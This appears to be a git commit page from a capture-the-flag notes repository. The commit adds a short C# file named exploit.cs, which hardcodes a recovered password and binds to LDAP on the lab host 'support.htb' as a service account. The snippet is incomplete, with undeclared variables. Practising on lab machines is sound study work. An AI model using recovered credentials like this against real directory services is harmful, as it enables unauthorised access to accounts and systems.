aboutsummaryrefslogtreecommitdiff
path: root/support/userinfo/exploit.cs
diff options
context:
space:
mode:
authorRaghuram Subramani <raghus2247@gmail.com>2022-09-04 05:04:04 -0400
committerRaghuram Subramani <raghus2247@gmail.com>2022-09-04 05:04:04 -0400
commitf914e816092f02a4bbed779ad91a6641e7cc2122 (patch)
tree1c7dd2f7f2946ac4d80cb6f3147cbd5ec0b2b4af /support/userinfo/exploit.cs
parent869200611b92f0dee181a89ffb8f3f9123794d43 (diff)
add rooms
Diffstat (limited to 'support/userinfo/exploit.cs')
-rw-r--r--support/userinfo/exploit.cs11
1 files changed, 11 insertions, 0 deletions
diff --git a/support/userinfo/exploit.cs b/support/userinfo/exploit.cs
new file mode 100644
index 0000000..44da8d1
--- /dev/null
+++ b/support/userinfo/exploit.cs
@@ -0,0 +1,11 @@
+using System;
+using System.DirectoryServices;
+
+public class main {
+ public static void Main() {
+ string password = "nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz";
+ entry = new DirectoryEntry("LDAP://support.htb", "support\\ldap", password);
+ entry.AuthenticationType = AuthenticationTypes.Secure;
+ ds = new DirectorySearcher(entry);
+ }
+}